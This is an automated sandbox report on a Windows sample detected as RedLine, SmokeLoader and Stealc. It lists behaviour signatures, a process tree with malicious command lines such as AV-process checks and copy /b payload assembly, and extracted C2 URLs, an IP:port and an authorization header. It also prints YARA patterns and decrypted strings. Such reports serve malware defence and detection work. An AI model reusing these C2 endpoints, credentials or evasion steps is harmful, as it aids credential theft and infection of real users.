Edit tour

Windows Analysis Report
BRvptajioG.exe

Overview

General Information

Sample Name:	BRvptajioG.exe
Original Sample Name:	2c18f752c6d8a298451ef6e56c17c844.exe
Analysis ID:	1352126
MD5:	2c18f752c6d8a298451ef6e56c17c844
SHA1:	c44ca4e14b315da70ad9f2d21d678ccb38c24758
SHA256:	9d09e2c2e8d21e46ab105ca0a93f22328c5a3422728789701e0b59bdae5d9c18
Tags:	exe
Infos:

Detection

RedLine, SmokeLoader, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Stealc

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Sample uses string decryption to hide its real strings

Checks if the current machine is a virtual machine (disk enumeration)

Drops PE files with benign system names

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Drops PE files with a suspicious file extension

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Injects code into the Windows Explorer (explorer.exe)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Tries to resolve many domain names, but no domain seems valid

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Registers a DLL

Dropped file seen in connection with other malware

PE file overlay found

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Connects to many different domains

Entry point lies outside standard sections

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Uses SMTP (mail sending)

Creates a window with clipboard capturing capabilities

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

BRvptajioG.exe (PID: 2352 cmdline: C:\Users\user\Desktop\BRvptajioG.exe MD5: 2C18F752C6D8A298451EF6E56C17C844)

explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

5833.exe (PID: 7828 cmdline: C:\Users\user~1\AppData\Local\Temp\5833.exe MD5: 33A60439E95F0DFC10016075F97AEB0C)

6071.exe (PID: 7852 cmdline: C:\Users\user~1\AppData\Local\Temp\6071.exe MD5: 57C833BFD5042E34BEC23DFD711CD151)

6071.exe (PID: 8124 cmdline: C:\Users\user~1\AppData\Local\Temp\6071.exe MD5: 57C833BFD5042E34BEC23DFD711CD151)

6719.exe (PID: 7880 cmdline: C:\Users\user~1\AppData\Local\Temp\6719.exe MD5: A3DEA4C1F895C2729505CB4712AD469D)

regsvr32.exe (PID: 7900 cmdline: regsvr32 /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 7916 cmdline: /s C:\Users\user~1\AppData\Local\Temp\6B8F.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

85CF.exe (PID: 8000 cmdline: C:\Users\user~1\AppData\Local\Temp\85CF.exe MD5: CD4811C966234ED3742118C9B299A8CA)

90FB.exe (PID: 8032 cmdline: C:\Users\user~1\AppData\Local\Temp\90FB.exe MD5: 663BEF796CAD090D04538B9B618C2134)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4188 cmdline: cmd /k cmd < Hottest & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4016 cmdline: cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 1156 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1168 cmdline: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3380 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2092 cmdline: findstr /I "wrsa.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6476 cmdline: cmd /c mkdir 21808 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3944 cmdline: cmd /c copy /b Span + Cigarette + Instances + Mfg + Cable 21808\Adaptation.pif MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6844 cmdline: cmd /c copy /b Complex 21808\G MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Adaptation.pif (PID: 3896 cmdline: 21808\Adaptation.pif 21808\G MD5: 848164D084384C49937F99D5B894253E)

PING.EXE (PID: 3968 cmdline: ping -n 5 localhost MD5: B3624DD758CCECF93A1226CEF252CA12)

9B3D.exe (PID: 8148 cmdline: C:\Users\user~1\AppData\Local\Temp\9B3D.exe MD5: D91540ED753B8137486C21FCC71F5824)

AppLaunch.exe (PID: 3964 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 89D41E1CF478A3D3C2C701A27A5692B2)

explorer.exe (PID: 3540 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 4220 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

csrss.exe (PID: 7176 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 57C833BFD5042E34BEC23DFD711CD151)

csrss.exe (PID: 5664 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 57C833BFD5042E34BEC23DFD711CD151)

csrss.exe (PID: 5144 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 57C833BFD5042E34BEC23DFD711CD151)

csrss.exe (PID: 1092 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: 57C833BFD5042E34BEC23DFD711CD151)

decegfu (PID: 7716 cmdline: C:\Users\user\AppData\Roaming\decegfu MD5: 2C18F752C6D8A298451EF6E56C17C844)

jtcegfu (PID: 5688 cmdline: C:\Users\user\AppData\Roaming\jtcegfu MD5: 33A60439E95F0DFC10016075F97AEB0C)

gtcegfu (PID: 7164 cmdline: C:\Users\user\AppData\Roaming\gtcegfu MD5: CD4811C966234ED3742118C9B299A8CA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_config_extractor.ipynb https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_string_decryption.py https://glyc3rius.github.io/2023/10/stealc/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://dskflherlkhopihsf.com/d414f888bed8c202.php"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://snukerukeutit.org/", "http://lightseinsteniki.org/", "http://tyiuiunuewqy.org/", "http://liuliuoumumy.org/", "http://tonimiuyaytre.org/"]}

Threatname: RedLine

{"C2 url": "38.47.221.193:34368", "Bot Id": "55000", "Authorization Header": "e2788f0fe74bbee1a7737b7a3c2c613d"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1297247950.0000000004700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000003.1638079911.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2186967379.0000000000D33000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000028.00000002.2537868096.0000000000511000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2019445023.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x611f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000028.00000003.2329513284.0000000005191000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2205719718.00000000034DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.2542428168.000000000401D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000013.00000002.1968314715.0000000000AB9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5d19:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x224:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000017.00000002.1889830261.0000000000F7D000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000003.1914643611.0000000000A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000028.00000002.2541354417.0000000002176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.1967468018.0000000000A50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000002A.00000002.2100070670.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x274:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000002D.00000002.2197337839.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x674:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2021331170.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x624:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6b35:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x764d:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000028.00000002.2542518309.0000000004054000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2205719718.0000000003898000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2021331170.00000000071DE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6719.exe PID: 7880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6719.exe PID: 7880	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.BRvptajioG.exe.2b40e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.3.decegfu.2c50000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.2.9B3D.exe.f7d000.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.decegfu.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.decegfu.2c40e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.85CF.exe.a50e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.2.Adaptation.pif.4028d90.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.2.9B3D.exe.f7d000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.85CF.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.6719.exe.d30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.BRvptajioG.exe.4700000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.BRvptajioG.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.3.85CF.exe.a60000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.2.Adaptation.pif.409edd8.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
40.2.Adaptation.pif.40841d0.4.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
40.2.Adaptation.pif.40841d0.4.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
40.2.Adaptation.pif.4028d90.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
40.2.Adaptation.pif.510000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
40.2.Adaptation.pif.510000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.2.9B3D.exe.df0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 16 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://legdfls2369.com/index.php	Avira URL Cloud: Label: malware
Source: http://atozrental.cc/atoz/index.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6B8F.dll	Avira: detection malicious, Label: HEUR/AGEN.1300269
Source: C:\ProgramData\Drivers\csrss.exe	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Avira: detection malicious, Label: HEUR/AGEN.1312455

Found malware configuration

Source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://snukerukeutit.org/", "http://lightseinsteniki.org/", "http://tyiuiunuewqy.org/", "http://liuliuoumumy.org/", "http://tonimiuyaytre.org/"]}
Source: 00000010.00000002.2205719718.0000000003441000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "38.47.221.193:34368", "Bot Id": "55000", "Authorization Header": "e2788f0fe74bbee1a7737b7a3c2c613d"}
Source: 00000028.00000002.2537868096.0000000000511000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://dskflherlkhopihsf.com/d414f888bed8c202.php"}

Multi AV Scanner detection for submitted file

Source: BRvptajioG.exe	ReversingLabs: Detection: 78%
Source: BRvptajioG.exe	Virustotal: Detection: 73%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: BRvptajioG.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: lightseinsteniki.org	Virustotal: Detection: 22%			Perma Link
Source: stualialuyastrelia.net	Virustotal: Detection: 24%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Drivers\csrss.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\5833.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\6071.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\6719.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\6B8F.dll	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Roaming\decegfu	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Roaming\jtcegfu	ReversingLabs: Detection: 78%

Machine Learning detection for sample

Source: BRvptajioG.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalMemoryStatusEx
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetSystemTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: SystemTimeToFileTime
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: advapi32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: gdi32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: user32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: crypt32.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ntdll.dll
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetUserNameA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateDCA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetDeviceCaps
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: ReleaseDC
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CryptStringToBinaryA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: sscanf
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: VMwareVMware
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HAL9TH
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: JohnDoe
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: DISPLAY
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: %hu/%hu/%hu
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: http://dskflherlkhopihsf.com
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /d414f888bed8c202.php
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: /985f606317f3e8dd/
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: default
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetEnvironmentVariableA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileAttributesA
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalLock
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: HeapFree
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GetFileSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: GlobalSize
Source: 40.2.Adaptation.pif.40841d0.4.unpack	String decryptor: CreateToolhelp32Snapshot
